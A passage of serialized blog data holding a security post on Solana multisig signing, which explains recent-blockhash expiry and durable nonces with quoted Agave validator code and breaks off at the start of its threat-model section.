"tag":6815,"props":71070,"children":71072},{"className":71071,"dataFootnotes":7},[6818],[71073,71078],{"type":22,"tag":53,"props":71074,"children":71076},{"className":71075,"id":6809},[6823],[71077],{"type":27,"value":6826},{"type":22,"tag":6828,"props":71079,"children":71080},{},[71081],{"type":22,"tag":6832,"props":71082,"children":71083},{"id":6834},[71084,71085,71120],{"type":27,"value":6837},{"type":22,"tag":6839,"props":71086,"children":71087},{},[71088,71096,71104,71112],{"type":22,"tag":6832,"props":71089,"children":71090},{},[71091],{"type":22,"tag":80,"props":71092,"children":71094},{"href":6847,"rel":71093,":style":6849},[84],[71095],{"type":27,"value":3489},{"type":22,"tag":6832,"props":71097,"children":71098},{},[71099],{"type":22,"tag":80,"props":71100,"children":71102},{"href":6857,"rel":71101,":style":6849},[84],[71103],{"type":27,"value":5445},{"type":22,"tag":6832,"props":71105,"children":71106},{},[71107],{"type":22,"tag":80,"props":71108,"children":71110},{"href":6866,"rel":71109,":style":6849},[84],[71111],{"type":27,"value":6870},{"type":22,"tag":6832,"props":71113,"children":71114},{},[71115],{"type":22,"tag":80,"props":71116,"children":71118},{"href":6876,"rel":71117,":style":6849},[84],[71119],{"type":27,"value":6880},{"type":22,"tag":80,"props":71121,"children":71123},{"href":6883,"ariaLabel":6884,"className":71122,"dataFootnoteBackref":7},[6886],[71124],{"type":27,"value":6889},{"type":22,"tag":6891,"props":71126,"children":71127},{},[71128],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":71130},[71131,71132,71133,71136,71141,71142,71143,71144],{"id":55,"depth":157,"text":58},{"id":642,"depth":157,"text":645},{"id":1233,"depth":157,"text":1236,"children":71134},[71135],{"id":1762,"depth":182,"text":1765},{"id":2026,"depth":157,"text":2029,"children":71137},[71138,71139,71140],{"id":2070,"depth":182,"text":2073},{"id":2786,"depth":182,"text":2789},{"id":4467,"depth":182,"text":4470},{"id":4999,"depth":157,"text":5002},{"id":5988,"depth":157,"text":5991},{"id":6776,"depth":157,"text":6779},{"id":6809,"depth":157,"text":6826},{"_path":71146,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71147,"description":71148,"date":71149,"author":9763,"image":71150,"isFeatured":15,"onBlogPage":15,"tags":71152,"body":71153,"_type":6912,"_id":72981,"_source":6914,"_file":72982,"_stem":72983,"_extension":6917},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":71151,"width":12,"height":13},"/posts/multisig-security/title.png",[6929],{"type":19,"children":71154,"toc":72972},[71155,71168,71174,71179,71185,71198,71206,71219,71279,71301,71428,71433,71446,71458,71464,71478,71491,71505,71987,71992,72000,72014,72028,72167,72179,72185,72190,72208,72213,72218,72239,72523,72538,72726,72739,72868,72873,72878,72883,72911,72917,72922,72936,72968],{"type":22,"tag":23,"props":71156,"children":71157},{},[71158,71159,71166],{"type":27,"value":2007},{"type":22,"tag":80,"props":71160,"children":71163},{"href":71161,"rel":71162},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[84],[71164],{"type":27,"value":71165},"Bybit hack",{"type":27,"value":71167}," raises an interesting question: what can teams do if their signers are compromised?",{"type":22,"tag":53,"props":71169,"children":71171},{"id":71170},"solana-signatures",[71172],{"type":27,"value":71173},"Solana Signatures",{"type":22,"tag":23,"props":71175,"children":71176},{},[71177],{"type":27,"value":71178},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":22,"tag":1760,"props":71180,"children":71182},{"id":71181},"recent-blockhash",[71183],{"type":27,"value":71184},"Recent Blockhash",{"type":22,"tag":23,"props":71186,"children":71187},{},[71188,71190,71197],{"type":27,"value":71189},"The most straightforward is with a \"recent blockhash\". From ",{"type":22,"tag":80,"props":71191,"children":71194},{"href":71192,"rel":71193},"https://solana.com/developers/guides/advanced/confirmation",[84],[71195],{"type":27,"value":71196},"the docs",{"type":27,"value":169},{"type":22,"tag":604,"props":71199,"children":71200},{},[71201],{"type":22,"tag":23,"props":71202,"children":71203},{},[71204],{"type":27,"value":71205},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":22,"tag":23,"props":71207,"children":71208},{},[71209,71211,71218],{"type":27,"value":71210},"The actual constant ",{"type":22,"tag":80,"props":71212,"children":71215},{"href":71213,"rel":71214},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[84],[71216],{"type":27,"value":71217},"is defined here",{"type":27,"value":231},{"type":22,"tag":91,"props":71220,"children":71222},{"className":93,"code":71221,"language":95,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[71223],{"type":22,"tag":30,"props":71224,"children":71225},{"__ignoreMap":7},[71226,71234],{"type":22,"tag":101,"props":71227,"children":71228},{"class":103,"line":104},[71229],{"type":22,"tag":101,"props":71230,"children":71231},{"style":2215},[71232],{"type":27,"value":71233},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":22,"tag":101,"props":71235,"children":71236},{"class":103,"line":157},[71237,71241,71245,71250,71254,71258,71262,71267,71271,71275],{"type":22,"tag":101,"props":71238,"children":71239},{"style":108},[71240],{"type":27,"value":17693},{"type":22,"tag":101,"props":71242,"children":71243},{"style":108},[71244],{"type":27,"value":43105},{"type":22,"tag":101,"props":71246,"children":71247},{"style":120},[71248],{"type":27,"value":71249}," MAX_PROCESSING_AGE",{"type":22,"tag":101,"props":71251,"children":71252},{"style":166},[71253],{"type":27,"value":169},{"type":22,"tag":101,"props":71255,"children":71256},{"style":114},[71257],{"type":27,"value":17733},{"type":22,"tag":101,"props":71259,"children":71260},{"style":166},[71261],{"type":27,"value":960},{"type":22,"tag":101,"props":71263,"children":71264},{"style":120},[71265],{"type":27,"value":71266}," MAX_RECENT_BLOCKHASHES ",{"type":22,"tag":101,"props":71268,"children":71269},{"style":166},[71270],{"type":27,"value":8625},{"type":22,"tag":101,"props":71272,"children":71273},{"style":1544},[71274],{"type":27,"value":11944},{"type":22,"tag":101,"props":71276,"children":71277},{"style":120},[71278],{"type":27,"value":1520},{"type":22,"tag":23,"props":71280,"children":71281},{},[71282,71284,71291,71293,71299],{"type":27,"value":71283},"For those curious, the logic ",{"type":22,"tag":80,"props":71285,"children":71288},{"href":71286,"rel":71287},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[84],[71289],{"type":27,"value":71290},"starts here",{"type":27,"value":71292}," and is quite straightforward to follow, ending in a ",{"type":22,"tag":30,"props":71294,"children":71296},{"className":71295},[],[71297],{"type":27,"value":71298},"is_hash_index_valid",{"type":27,"value":71300}," check.",{"type":22,"tag":91,"props":71302,"children":71304},{"className":93,"code":71303,"language":95,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[71305],{"type":22,"tag":30,"props":71306,"children":71307},{"__ignoreMap":7},[71308,71387,71421],{"type":22,"tag":101,"props":71309,"children":71310},{"class":103,"line":104},[71311,71315,71320,71324,71329,71333,71337,71341,71346,71350,71354,71358,71363,71367,71371,71375,71379,71383],{"type":22,"tag":101,"props":71312,"children":71313},{"style":108},[71314],{"type":27,"value":24258},{"type":22,"tag":101,"props":71316,"children":71317},{"style":926},[71318],{"type":27,"value":71319}," is_hash_index_valid",{"type":22,"tag":101,"props":71321,"children":71322},{"style":120},[71323],{"type":27,"value":980},{"type":22,"tag":101,"props":71325,"children":71326},{"style":126},[71327],{"type":27,"value":71328},"last_hash_index",{"type":22,"tag":101,"props":71330,"children":71331},{"style":166},[71332],{"type":27,"value":169},{"type":22,"tag":101,"props":71334,"children":71335},{"style":114},[71336],{"type":27,"value":174},{"type":22,"tag":101,"props":71338,"children":71339},{"style":120},[71340],{"type":27,"value":758},{"type":22,"tag":101,"props":71342,"children":71343},{"style":126},[71344],{"type":27,"value":71345},"max_age",{"type":22,"tag":101,"props":71347,"children":71348},{"style":166},[71349],{"type":27,"value":169},{"type":22,"tag":101,"props":71351,"children":71352},{"style":114},[71353],{"type":27,"value":17733},{"type":22,"tag":101,"props":71355,"children":71356},{"style":120},[71357],{"type":27,"value":758},{"type":22,"tag":101,"props":71359,"children":71360},{"style":126},[71361],{"type":27,"value":71362},"hash_index",{"type":22,"tag":101,"props":71364,"children":71365},{"style":166},[71366],{"type":27,"value":169},{"type":22,"tag":101,"props":71368,"children":71369},{"style":114},[71370],{"type":27,"value":174},{"type":22,"tag":101,"props":71372,"children":71373},{"style":120},[71374],{"type":27,"value":901},{"type":22,"tag":101,"props":71376,"children":71377},{"style":166},[71378],{"type":27,"value":17759},{"type":22,"tag":101,"props":71380,"children":71381},{"style":114},[71382],{"type":27,"value":360},{"type":22,"tag":101,"props":71384,"children":71385},{"style":120},[71386],{"type":27,"value":154},{"type":22,"tag":101,"props":71388,"children":71389},{"class":103,"line":157},[71390,71395,71399,71404,71408,71413,71417],{"type":22,"tag":101,"props":71391,"children":71392},{"style":126},[71393],{"type":27,"value":71394}," last_hash_index",{"type":22,"tag":101,"props":71396,"children":71397},{"style":166},[71398],{"type":27,"value":55251},{"type":22,"tag":101,"props":71400,"children":71401},{"style":126},[71402],{"type":27,"value":71403}," hash_index",{"type":22,"tag":101,"props":71405,"children":71406},{"style":166},[71407],{"type":27,"value":12206},{"type":22,"tag":101,"props":71409,"children":71410},{"style":126},[71411],{"type":27,"value":71412}," max_age",{"type":22,"tag":101,"props":71414,"children":71415},{"style":108},[71416],{"type":27,"value":12835},{"type":22,"tag":101,"props":71418,"children":71419},{"style":114},[71420],{"type":27,"value":17199},{"type":22,"tag":101,"props":71422,"children":71423},{"class":103,"line":182},[71424],{"type":22,"tag":101,"props":71425,"children":71426},{"style":120},[71427],{"type":27,"value":188},{"type":22,"tag":23,"props":71429,"children":71430},{},[71431],{"type":27,"value":71432},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":22,"tag":604,"props":71434,"children":71435},{},[71436],{"type":22,"tag":23,"props":71437,"children":71438},{},[71439,71441],{"type":27,"value":71440},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":22,"tag":9370,"props":71442,"children":71443},{},[71444],{"type":27,"value":71445},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":22,"tag":23,"props":71447,"children":71448},{},[71449,71451,71456],{"type":27,"value":71450},"This means an attacker ",{"type":22,"tag":6961,"props":71452,"children":71453},{},[71454],{"type":27,"value":71455},"must use",{"type":27,"value":71457}," a malicious signed transaction within a short timeframe.",{"type":22,"tag":1760,"props":71459,"children":71461},{"id":71460},"durable-nonce",[71462],{"type":27,"value":71463},"Durable Nonce",{"type":22,"tag":23,"props":71465,"children":71466},{},[71467,71469,71476],{"type":27,"value":71468},"The second type of signature ",{"type":22,"tag":80,"props":71470,"children":71473},{"href":71471,"rel":71472},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[84],[71474],{"type":27,"value":71475},"is a durable nonce",{"type":27,"value":71477},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":22,"tag":604,"props":71479,"children":71480},{},[71481],{"type":22,"tag":23,"props":71482,"children":71483},{},[71484,71486],{"type":27,"value":71485},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":22,"tag":9370,"props":71487,"children":71488},{},[71489],{"type":27,"value":71490},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":22,"tag":23,"props":71492,"children":71493},{},[71494,71496,71503],{"type":27,"value":71495},"If we examine the code ",{"type":22,"tag":80,"props":71497,"children":71500},{"href":71498,"rel":71499},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[84],[71501],{"type":27,"value":71502},"for recent blockhash validation",{"type":27,"value":71504},", we can also see the handling for durable nonces.",{"type":22,"tag":91,"props":71506,"children":71508},{"className":93,"code":71507,"language":95,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[71509],{"type":22,"tag":30,"props":71510,"children":71511},{"__ignoreMap":7},[71512,71559,71625,71645,71665,71695,71703,71757,71774,71794,71806,71818,71826,71833,71852,71879,71899,71906,71921,71951,71980],{"type":22,"tag":101,"props":71513,"children":71514},{"class":103,"line":104},[71515,71519,71524,71528,71533,71537,71542,71546,71550,71555],{"type":22,"tag":101,"props":71516,"children":71517},{"style":108},[71518],{"type":27,"value":950},{"type":22,"tag":101,"props":71520,"children":71521},{"style":126},[71522],{"type":27,"value":71523}," recent_blockhash",{"type":22,"tag":101,"props":71525,"children":71526},{"style":166},[71527],{"type":27,"value":960},{"type":22,"tag":101,"props":71529,"children":71530},{"style":126},[71531],{"type":27,"value":71532}," tx",{"type":22,"tag":101,"props":71534,"children":71535},{"style":166},[71536],{"type":27,"value":231},{"type":22,"tag":101,"props":71538,"children":71539},{"style":926},[71540],{"type":27,"value":71541},"message",{"type":22,"tag":101,"props":71543,"children":71544},{"style":120},[71545],{"type":27,"value":17881},{"type":22,"tag":101,"props":71547,"children":71548},{"style":166},[71549],{"type":27,"value":231},{"type":22,"tag":101,"props":71551,"children":71552},{"style":926},[71553],{"type":27,"value":71554},"recent_blockhash",{"type":22,"tag":101,"props":71556,"children":71557},{"style":120},[71558],{"type":27,"value":934},{"type":22,"tag":101,"props":71560,"children":71561},{"class":103,"line":157},[71562,71566,71570,71574,71578,71583,71587,71591,71596,71600,71605,71609,71613,71617,71621],{"type":22,"tag":101,"props":71563,"children":71564},{"style":3595},[71565],{"type":27,"value":16283},{"type":22,"tag":101,"props":71567,"children":71568},{"style":108},[71569],{"type":27,"value":31303},{"type":22,"tag":101,"props":71571,"children":71572},{"style":114},[71573],{"type":27,"value":31308},{"type":22,"tag":101,"props":71575,"children":71576},{"style":120},[71577],{"type":27,"value":980},{"type":22,"tag":101,"props":71579,"children":71580},{"style":126},[71581],{"type":27,"value":71582},"hash_info",{"type":22,"tag":101,"props":71584,"children":71585},{"style":120},[71586],{"type":27,"value":901},{"type":22,"tag":101,"props":71588,"children":71589},{"style":166},[71590],{"type":27,"value":1511},{"type":22,"tag":101,"props":71592,"children":71593},{"style":126},[71594],{"type":27,"value":71595}," hash_queue",{"type":22,"tag":101,"props":71597,"children":71598},{"style":166},[71599],{"type":27,"value":231},{"type":22,"tag":101,"props":71601,"children":71602},{"style":926},[71603],{"type":27,"value":71604},"get_hash_info_if_valid",{"type":22,"tag":101,"props":71606,"children":71607},{"style":120},[71608],{"type":27,"value":980},{"type":22,"tag":101,"props":71610,"children":71611},{"style":126},[71612],{"type":27,"value":71554},{"type":22,"tag":101,"props":71614,"children":71615},{"style":120},[71616],{"type":27,"value":758},{"type":22,"tag":101,"props":71618,"children":71619},{"style":126},[71620],{"type":27,"value":71345},{"type":22,"tag":101,"props":71622,"children":71623},{"style":120},[71624],{"type":27,"value":1463},{"type":22,"tag":101,"props":71626,"children":71627},{"class":103,"line":182},[71628,71632,71636,71641],{"type":22,"tag":101,"props":71629,"children":71630},{"style":114},[71631],{"type":27,"value":18813},{"type":22,"tag":101,"props":71633,"children":71634},{"style":120},[71635],{"type":27,"value":980},{"type":22,"tag":101,"props":71637,"children":71638},{"style":114},[71639],{"type":27,"value":71640},"CheckedTransactionDetails",{"type":22,"tag":101,"props":71642,"children":71643},{"style":120},[71644],{"type":27,"value":154},{"type":22,"tag":101,"props":71646,"children":71647},{"class":103,"line":367},[71648,71653,71657,71661],{"type":22,"tag":101,"props":71649,"children":71650},{"style":126},[71651],{"type":27,"value":71652}," nonce",{"type":22,"tag":101,"props":71654,"children":71655},{"style":166},[71656],{"type":27,"value":169},{"type":22,"tag":101,"props":71658,"children":71659},{"style":114},[71660],{"type":27,"value":31756},{"type":22,"tag":101,"props":71662,"children":71663},{"style":120},[71664],{"type":27,"value":179},{"type":22,"tag":101,"props":71666,"children":71667},{"class":103,"line":398},[71668,71673,71677,71682,71686,71691],{"type":22,"tag":101,"props":71669,"children":71670},{"style":126},[71671],{"type":27,"value":71672}," lamports_per_signature",{"type":22,"tag":101,"props":71674,"children":71675},{"style":166},[71676],{"type":27,"value":169},{"type":22,"tag":101,"props":71678,"children":71679},{"style":126},[71680],{"type":27,"value":71681}," hash_info",{"type":22,"tag":101,"props":71683,"children":71684},{"style":166},[71685],{"type":27,"value":231},{"type":22,"tag":101,"props":71687,"children":71688},{"style":926},[71689],{"type":27,"value":71690},"lamports_per_signature",{"type":22,"tag":101,"props":71692,"children":71693},{"style":120},[71694],{"type":27,"value":7526},{"type":22,"tag":101,"props":71696,"children":71697},{"class":103,"line":428},[71698],{"type":22,"tag":101,"props":71699,"children":71700},{"style":120},[71701],{"type":27,"value":71702}," })\n",{"type":22,"tag":101,"props":71704,"children":71705},{"class":103,"line":997},[71706,71710,71714,71718,71722,71726,71730,71735,71739,71744,71748,71752],{"type":22,"tag":101,"props":71707,"children":71708},{"style":120},[71709],{"type":27,"value":19777},{"type":22,"tag":101,"props":71711,"children":71712},{"style":3595},[71713],{"type":27,"value":7354},{"type":22,"tag":101,"props":71715,"children":71716},{"style":3595},[71717],{"type":27,"value":19786},{"type":22,"tag":101,"props":71719,"children":71720},{"style":108},[71721],{"type":27,"value":31303},{"type":22,"tag":101,"props":71723,"children":71724},{"style":114},[71725],{"type":27,"value":31308},{"type":22,"tag":101,"props":71727,"children":71728},{"style":120},[71729],{"type":27,"value":35519},{"type":22,"tag":101,"props":71731,"children":71732},{"style":126},[71733],{"type":27,"value":71734},"nonce",{"type":22,"tag":101,"props":71736,"children":71737},{"style":120},[71738],{"type":27,"value":758},{"type":22,"tag":101,"props":71740,"children":71741},{"style":126},[71742],{"type":27,"value":71743},"previous_lamports_per_signature",{"type":22,"tag":101,"props":71745,"children":71746},{"style":120},[71747],{"type":27,"value":12844},{"type":22,"tag":101,"props":71749,"children":71750},{"style":166},[71751],{"type":27,"value":1511},{"type":22,"tag":101,"props":71753,"children":71754},{"style":108},[71755],{"type":27,"value":71756}," self\n",{"type":22,"tag":101,"props":71758,"children":71759},{"class":103,"line":1032},[71760,71765,71770],{"type":22,"tag":101,"props":71761,"children":71762},{"style":166},[71763],{"type":27,"value":71764}," .",{"type":22,"tag":101,"props":71766,"children":71767},{"style":926},[71768],{"type":27,"value":71769},"check_load_and_advance_message_nonce_account",{"type":22,"tag":101,"props":71771,"children":71772},{"style":120},[71773],{"type":27,"value":1850},{"type":22,"tag":101,"props":71775,"children":71776},{"class":103,"line":1063},[71777,71782,71786,71790],{"type":22,"tag":101,"props":71778,"children":71779},{"style":126},[71780],{"type":27,"value":71781}," tx",{"type":22,"tag":101,"props":71783,"children":71784},{"style":166},[71785],{"type":27,"value":231},{"type":22,"tag":101,"props":71787,"children":71788},{"style":926},[71789],{"type":27,"value":71541},{"type":22,"tag":101,"props":71791,"children":71792},{"style":120},[71793],{"type":27,"value":7526},{"type":22,"tag":101,"props":71795,"children":71796},{"class":103,"line":1071},[71797,71802],{"type":22,"tag":101,"props":71798,"children":71799},{"style":126},[71800],{"type":27,"value":71801}," next_durable_nonce",{"type":22,"tag":101,"props":71803,"children":71804},{"style":120},[71805],{"type":27,"value":179},{"type":22,"tag":101,"props":71807,"children":71808},{"class":103,"line":1110},[71809,71814],{"type":22,"tag":101,"props":71810,"children":71811},{"style":126},[71812],{"type":27,"value":71813}," next_lamports_per_signature",{"type":22,"tag":101,"props":71815,"children":71816},{"style":120},[71817],{"type":27,"value":179},{"type":22,"tag":101,"props":71819,"children":71820},{"class":103,"line":1118},[71821],{"type":22,"tag":101,"props":71822,"children":71823},{"style":120},[71824],{"type":27,"value":71825}," )\n",{"type":22,"tag":101,"props":71827,"children":71828},{"class":103,"line":1158},[71829],{"type":22,"tag":101,"props":71830,"children":71831},{"style":120},[71832],{"type":27,"value":33186},{"type":22,"tag":101,"props":71834,"children":71835},{"class":103,"line":1166},[71836,71840,71844,71848],{"type":22,"tag":101,"props":71837,"children":71838},{"style":114},[71839],{"type":27,"value":18813},{"type":22,"tag":101,"props":71841,"children":71842},{"style":120},[71843],{"type":27,"value":980},{"type":22,"tag":101,"props":71845,"children":71846},{"style":114},[71847],{"type":27,"value":71640},{"type":22,"tag":101,"props":71849,"children":71850},{"style":120},[71851],{"type":27,"value":154},{"type":22,"tag":101,"props":71853,"children":71854},{"class":103,"line":1215},[71855,71859,71863,71867,71871,71875],{"type":22,"tag":101,"props":71856,"children":71857},{"style":126},[71858],{"type":27,"value":71652},{"type":22,"tag":101,"props":71860,"children":71861},{"style":166},[71862],{"type":27,"value":169},{"type":22,"tag":101,"props":71864,"children":71865},{"style":114},[71866],{"type":27,"value":31308},{"type":22,"tag":101,"props":71868,"children":71869},{"style":120},[71870],{"type":27,"value":980},{"type":22,"tag":101,"props":71872,"children":71873},{"style":126},[71874],{"type":27,"value":71734},{"type":22,"tag":101,"props":71876,"children":71877},{"style":120},[71878],{"type":27,"value":1706},{"type":22,"tag":101,"props":71880,"children":71881},{"class":103,"line":2425},[71882,71886,71890,71895],{"type":22,"tag":101,"props":71883,"children":71884},{"style":126},[71885],{"type":27,"value":71672},{"type":22,"tag":101,"props":71887,"children":71888},{"style":166},[71889],{"type":27,"value":169},{"type":22,"tag":101,"props":71891,"children":71892},{"style":126},[71893],{"type":27,"value":71894}," previous_lamports_per_signature",{"type":22,"tag":101,"props":71896,"children":71897},{"style":120},[71898],{"type":27,"value":179},{"type":22,"tag":101,"props":71900,"children":71901},{"class":103,"line":5417},[71902],{"type":22,"tag":101,"props":71903,"children":71904},{"style":120},[71905],{"type":27,"value":71702},{"type":22,"tag":101,"props":71907,"children":71908},{"class":103,"line":7714},[71909,71913,71917],{"type":22,"tag":101,"props":71910,"children":71911},{"style":120},[71912],{"type":27,"value":19777},{"type":22,"tag":101,"props":71914,"children":71915},{"style":3595},[71916],{"type":27,"value":7354},{"type":22,"tag":101,"props":71918,"children":71919},{"style":120},[71920],{"type":27,"value":154},{"type":22,"tag":101,"props":71922,"children":71923},{"class":103,"line":7723},[71924,71929,71933,71938,71943,71947],{"type":22,"tag":101,"props":71925,"children":71926},{"style":126},[71927],{"type":27,"value":71928}," error_counters",{"type":22,"tag":101,"props":71930,"children":71931},{"style":166},[71932],{"type":27,"value":231},{"type":22,"tag":101,"props":71934,"children":71935},{"style":120},[71936],{"type":27,"value":71937},"blockhash_not_found ",{"type":22,"tag":101,"props":71939,"children":71940},{"style":166},[71941],{"type":27,"value":71942},"+=",{"type":22,"tag":101,"props":71944,"children":71945},{"style":1544},[71946],{"type":27,"value":3648},{"type":22,"tag":101,"props":71948,"children":71949},{"style":120},[71950],{"type":27,"value":1520},{"type":22,"tag":101,"props":71952,"children":71953},{"class":103,"line":7791},[71954,71958,71962,71967,71971,71976],{"type":22,"tag":101,"props":71955,"children":71956},{"style":114},[71957],{"type":27,"value":18856},{"type":22,"tag":101,"props":71959,"children":71960},{"style":120},[71961],{"type":27,"value":980},{"type":22,"tag":101,"props":71963,"children":71964},{"style":114},[71965],{"type":27,"value":71966},"TransactionError",{"type":22,"tag":101,"props":71968,"children":71969},{"style":166},[71970],{"type":27,"value":970},{"type":22,"tag":101,"props":71972,"children":71973},{"style":114},[71974],{"type":27,"value":71975},"BlockhashNotFound",{"type":22,"tag":101,"props":71977,"children":71978},{"style":120},[71979],{"type":27,"value":2510},{"type":22,"tag":101,"props":71981,"children":71982},{"class":103,"line":7799},[71983],{"type":22,"tag":101,"props":71984,"children":71985},{"style":120},[71986],{"type":27,"value":1734},{"type":22,"tag":23,"props":71988,"children":71989},{},[71990],{"type":27,"value":71991},"The documentation does a good job of explaining how they work.",{"type":22,"tag":604,"props":71993,"children":71994},{},[71995],{"type":22,"tag":23,"props":71996,"children":71997},{},[71998],{"type":27,"value":71999},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":22,"tag":23,"props":72001,"children":72002},{},[72003,72005,72012],{"type":27,"value":72004},"Durable nonces are created and managed ",{"type":22,"tag":80,"props":72006,"children":72009},{"href":72007,"rel":72008},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[84],[72010],{"type":27,"value":72011},"by the system program",{"type":27,"value":72013},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":22,"tag":23,"props":72015,"children":72016},{},[72017,72019,72026],{"type":27,"value":72018},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":22,"tag":80,"props":72020,"children":72023},{"href":72021,"rel":72022},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[84],[72024],{"type":27,"value":72025},"based on the current blockhash",{"type":27,"value":72027},", and cannot be predicted in advance.",{"type":22,"tag":91,"props":72029,"children":72031},{"className":93,"code":72030,"language":95,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[72032],{"type":22,"tag":30,"props":72033,"children":72034},{"__ignoreMap":7},[72035,72087,72120],{"type":22,"tag":101,"props":72036,"children":72037},{"class":103,"line":104},[72038,72042,72046,72050,72054,72058,72063,72067,72071,72075,72079,72083],{"type":22,"tag":101,"props":72039,"children":72040},{"style":108},[72041],{"type":27,"value":950},{"type":22,"tag":101,"props":72043,"children":72044},{"style":126},[72045],{"type":27,"value":71595},{"type":22,"tag":101,"props":72047,"children":72048},{"style":166},[72049],{"type":27,"value":960},{"type":22,"tag":101,"props":72051,"children":72052},{"style":108},[72053],{"type":27,"value":17799},{"type":22,"tag":101,"props":72055,"children":72056},{"style":166},[72057],{"type":27,"value":231},{"type":22,"tag":101,"props":72059,"children":72060},{"style":120},[72061],{"type":27,"value":72062},"blockhash_queue",{"type":22,"tag":101,"props":72064,"children":72065},{"style":166},[72066],{"type":27,"value":231},{"type":22,"tag":101,"props":72068,"children":72069},{"style":926},[72070],{"type":27,"value":64638},{"type":22,"tag":101,"props":72072,"children":72073},{"style":120},[72074],{"type":27,"value":17881},{"type":22,"tag":101,"props":72076,"children":72077},{"style":166},[72078],{"type":27,"value":231},{"type":22,"tag":101,"props":72080,"children":72081},{"style":926},[72082],{"type":27,"value":7700},{"type":22,"tag":101,"props":72084,"children":72085},{"style":120},[72086],{"type":27,"value":934},{"type":22,"tag":101,"props":72088,"children":72089},{"class":103,"line":157},[72090,72094,72099,72103,72107,72111,72116],{"type":22,"tag":101,"props":72091,"children":72092},{"style":108},[72093],{"type":27,"value":950},{"type":22,"tag":101,"props":72095,"children":72096},{"style":126},[72097],{"type":27,"value":72098}," last_blockhash",{"type":22,"tag":101,"props":72100,"children":72101},{"style":166},[72102],{"type":27,"value":960},{"type":22,"tag":101,"props":72104,"children":72105},{"style":126},[72106],{"type":27,"value":71595},{"type":22,"tag":101,"props":72108,"children":72109},{"style":166},[72110],{"type":27,"value":231},{"type":22,"tag":101,"props":72112,"children":72113},{"style":926},[72114],{"type":27,"value":72115},"last_hash",{"type":22,"tag":101,"props":72117,"children":72118},{"style":120},[72119],{"type":27,"value":934},{"type":22,"tag":101,"props":72121,"children":72122},{"class":103,"line":182},[72123,72127,72132,72136,72141,72145,72150,72154,72158,72163],{"type":22,"tag":101,"props":72124,"children":72125},{"style":108},[72126],{"type":27,"value":950},{"type":22,"tag":101,"props":72128,"children":72129},{"style":126},[72130],{"type":27,"value":72131}," next_durable_nonce",{"type":22,"tag":101,"props":72133,"children":72134},{"style":166},[72135],{"type":27,"value":960},{"type":22,"tag":101,"props":72137,"children":72138},{"style":114},[72139],{"type":27,"value":72140}," DurableNonce",{"type":22,"tag":101,"props":72142,"children":72143},{"style":166},[72144],{"type":27,"value":970},{"type":22,"tag":101,"props":72146,"children":72147},{"style":926},[72148],{"type":27,"value":72149},"from_blockhash",{"type":22,"tag":101,"props":72151,"children":72152},{"style":120},[72153],{"type":27,"value":980},{"type":22,"tag":101,"props":72155,"children":72156},{"style":166},[72157],{"type":27,"value":985},{"type":22,"tag":101,"props":72159,"children":72160},{"style":126},[72161],{"type":27,"value":72162},"last_blockhash",{"type":22,"tag":101,"props":72164,"children":72165},{"style":120},[72166],{"type":27,"value":994},{"type":22,"tag":23,"props":72168,"children":72169},{},[72170,72172,72177],{"type":27,"value":72171},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":22,"tag":6961,"props":72173,"children":72174},{},[72175],{"type":27,"value":72176},"can",{"type":27,"value":72178}," be saved and reused.",{"type":22,"tag":53,"props":72180,"children":72182},{"id":72181},"threat-model",[72183],{"type":27,"value":72184},"Threat 